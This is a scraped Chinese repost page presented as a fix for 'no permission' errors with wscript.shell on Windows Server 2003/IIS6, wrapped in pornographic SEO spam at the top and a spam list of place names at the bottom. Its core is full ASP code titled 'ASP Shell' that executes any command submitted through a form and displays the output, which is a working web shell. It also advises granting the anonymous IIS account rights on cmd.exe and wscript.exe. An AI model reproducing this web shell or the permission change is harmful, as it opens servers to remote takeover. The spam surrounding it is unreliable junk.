国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 服務器 > Web服務器 > 正文

wscript.shell run 沒有權限解決辦法

2024-09-01 13:43:26
字體:
來源:轉載
供稿:網友
今天在把一個客戶端的命令行程序弄到服務器上面的時候出現了這個問題。后來幾經測試才解決了這個問題。
測試平臺:windows server 2003 sp2 + iis6
測試用的代碼如下:
<title>ASP Shell</title>
<%@ Language=VBScript CodePage="936"%>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = Server.Mappath(oFileSys.GetTempName( ))
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="執(zhí)行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
在系統(tǒng)根目錄下面將cmd.exe和wscript.exe給iuser_xxx機器名權限,給當前文件夾讀寫權限。然后重啟IIS就可以了。
發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 龙南县| 乡城县| 彭阳县| 镇平县| 白朗县| 安平县| 万州区| 岱山县| 昌乐县| 延寿县| 饶阳县| 湾仔区| 海原县| 博兴县| 金湖县| 奉贤区| 广西| 东莞市| 合肥市| 清远市| 玛沁县| 滕州市| 石嘴山市| 勃利县| 湘潭县| 巴中市| 临高县| 大足县| 桂东县| 宁德市| 平潭县| 张家港市| 巨鹿县| 康马县| 公主岭市| 安庆市| 双鸭山市| 邢台市| 满城县| 满洲里市| 济南市|